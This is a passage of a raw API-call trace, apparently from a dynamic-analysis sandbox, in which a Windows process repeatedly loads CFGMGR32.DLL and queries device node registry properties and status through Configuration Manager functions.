0x1a [0202.697] malloc (_Size=0x18) returned 0x20abc281d40 [0202.698] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281d40, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281d40, pulLength=0x2dc22fd3f8) returned 0x0 [0202.698] free (_Block=0x20abc281d40) [0202.698] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3494b083, dwHighDateTime=0x1d9eb0c)) [0202.698] SetEvent (hEvent=0x248) returned 1 [0202.702] malloc (_Size=0x18) returned 0x20abc281ba0 [0202.702] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0202.702] free (_Block=0x20abc281ba0) [0202.702] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0202.702] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0202.702] SafeArrayGetLBound (in: psa=0x20abba80750, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0202.702] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0202.702] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0202.702] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0202.702] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0202.702] SafeArrayGetElemsize (psa=0x20abba80750) returned 0x8 [0202.702] SafeArrayGetElement (in: psa=0x20abba80750, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0202.703] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402200, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0202.703] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0202.705] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0202.706] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.706] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.709] malloc (_Size=0x18) returned 0x20abc281aa0 [0202.710] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0202.710] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x34972228, dwHighDateTime=0x1d9eb0c)) [0202.710] SetEvent (hEvent=0x248) returned 1 [0202.713] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.713] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.716] malloc (_Size=0x18) returned 0x20abc281ea0 [0202.716] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.726] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x349973fa, dwHighDateTime=0x1d9eb0c)) [0202.727] SetEvent (hEvent=0x248) returned 1 [0202.728] SetEvent (hEvent=0x248) returned 1 [0202.729] free (_Block=0x20abc27cb20) [0202.729] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.729] malloc (_Size=0x48) returned 0x20abc27cf80 [0202.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x349973fa, dwHighDateTime=0x1d9eb0c)) [0202.730] SetEvent (hEvent=0x248) returned 1 [0202.731] SetEvent (hEvent=0x248) returned 1 [0202.731] free (_Block=0x20abc27cf80) [0202.732] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.733] malloc (_Size=0x48) returned 0x20abc27cf80 [0202.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x349973fa, dwHighDateTime=0x1d9eb0c)) [0202.733] SetEvent (hEvent=0x248) returned 1 [0202.925] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.925] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.929] malloc (_Size=0x18) returned 0x20abc281960 [0202.929] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.930] malloc (_Size=0x48) returned 0x20abc27cb20 [0202.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34b8a2a6, dwHighDateTime=0x1d9eb0c)) [0202.930] SetEvent (hEvent=0x248) returned 1 [0202.936] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.936] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.941] malloc (_Size=0x18) returned 0x20abc281a00 [0202.941] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0202.944] malloc (_Size=0x48) returned 0x20abc27cf80 [0202.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34bad82f, dwHighDateTime=0x1d9eb0c)) [0202.944] SetEvent (hEvent=0x248) returned 1 [0202.949] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.949] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.953] malloc (_Size=0x18) returned 0x20abc281c20 [0202.953] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x27, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0202.953] malloc (_Size=0x48) returned 0x20abc27cf80 [0202.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x34bd393d, dwHighDateTime=0x1d9eb0c)) [0202.954] SetEvent (hEvent=0x248) returned 1 [0202.959] malloc (_Size=0xd8) returned 0x20abc2867b0 [0202.959] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0202.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0202.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0202.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0202.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0202.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0202.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0202.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0202.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0202.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0202.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0202.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0202.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0202.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0202.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0202.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0202.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0202.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0202.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0202.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0202.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0202.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0202.963] malloc (_Size=0x18) returned 0x20abc281dc0 [0202.964] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x27, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0202.964] malloc (_Size=0x48) returned 0x20abc27cf80 [0202.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x34bd393d, dwHighDateTime=0x1d9eb0c)) [0202.964] SetEvent (hEvent=0x248) returned 1 [0203.323] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.323] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.328] malloc (_Size=0x18) returned 0x20abc281d40 [0203.328] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0203.329] malloc (_Size=0x48) returned 0x20abc27cf80 [0203.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34f67149, dwHighDateTime=0x1d9eb0c)) [0203.329] SetEvent (hEvent=0x248) returned 1 [0203.334] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.334] LoadLibraryExW 